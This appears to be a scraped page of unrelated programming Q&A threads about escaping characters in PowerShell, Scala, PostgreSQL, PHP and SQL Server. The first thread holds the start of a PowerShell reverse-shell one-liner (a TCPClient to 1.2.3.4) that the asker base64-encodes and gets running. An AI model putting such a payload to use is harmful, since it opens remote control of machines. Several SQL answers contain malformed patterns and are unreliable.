When I try to convert the following code in powershell:
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("**$sm=**(New-Object Net.Sockets.TCPClient('1.2.3.4',21)).GetStream();[byte[]]$b ..etc ..etc ..etc
the result base64 encoded string execution failed.
I get "**+** =(New-Object Net.Sockets.TCPClient" without $sm.
It turns out "+" instead of $sm??
How to encode it in order to include $ into my code to run it properly ?
Mathias R. Jessen, you are absolutely right!
I have changed a single quote to double inside of code and embraced it with a single quote.
Thank you!!
I am using a velocity template for a FIX message containing ; as the delimiter in the template file. I want to replace the ; with \u000 character as delimiter when actualy publishing the message.
When I try msg.replaceAll(";", "\u000") , compiler complains "error in unicode escape"?
What is the right way to do this in Scala?
(edit)Escape backslash or use triplequotes like om-nom-nom advised:
msg.replaceAll(";", "\\\\u000")
or
msg.replaceAll(";", """\\u000""")
I am trying to use an HTML link in PostgreSQL procedure along with some local variable. However, I am getting syntax errors reguarding parenthesis. Something like
'' my_variable ''
However, I am getting syntax errors. I am thinking it has to do with escape characters. Any help would be appreciated.
Thanks,
Derek
use this:
'' || my_variable || ''
I have $_SERVER['DOCUMENT_ROOT'] echoed, the problem is when it is echoed from xampp it shows, like this:
C:/xampp/hdocs
and when echoed from PHPed it shows
C:\\xampp\\htdocs.
I want to replace "C:\\xampp\\htdocs" with "C:/xampp/hdocs" but I'm not able to do so using preg_replace.
Kindly help me !
You don't need regex for that. Use the str_replace() fnction:
str_replace('\\', '/', $str);
What is wrong with this statement that it is still giving me spaces after the field. This makes me think that the syntax combining the WHEN statements is off. My boss wants them combined in one statement. What am I doing wrong?
Case WHEN LTRIM(RTRIM(cSHortName))= '' Then NULL
WHEN cShortname is NOT NULL THEN
REPLACE (cShortName,SUBSTRING,(cShortName,PATINDEX('%A-Za-z0-9""},1,) ''_
end AS SHORT_NAME
Judging from the code, it seems that you may be trying to strip spaces and non-alphanumeric characters from the beginning and ending of the string.
If so, would this work for you?
I think it provides the substring from the first alphanumeric occurrence to the last.
SELECT
SUBSTRING(
cShortName,
PATINDEX('%A-Za-z0-9',cShortName),
( LEN(cShortName)
-PATINDEX('%A-Za-z0-9',REVERSE(cShortName))
-PATINDEX('%A-Za-z0-9',cShortName)
)
) AS SHORTNAME
Replace TRIM with LTRIM.
You can also test LEN(cShortName) = 0
Ummm there seems to be some problems in this script, but try this.
Case
WHEN LTRIM(RTRIM(cSHortName))= '' Then NULL
WHEN cShortname is NOT NULL THEN REPLACE(cShortName, SUBSTRING(cShortName, PATINDEX('%A-Za-z0-9', 1) , ''), '')
end AS SHORT_NAME
Why do you think it is supposed not to give you spaces after the field?
Edit:
As far as I understand you are trying to remove any characters from the string that do not match this regular expression range [a-zA-Z0-9] (add any other characters that you want to preserve).
I see no clean way to do that in Microsoft SQL Server (you are using Microsoft SQL Server it seems) using the built-in functions. There are some examples on the web that use a temporary table and a while loop, but this is ugly. I would either return the strings as is and process them on the caller side, or write a function that does that using the CLR and invoke it from the select statement.
I hope this helps.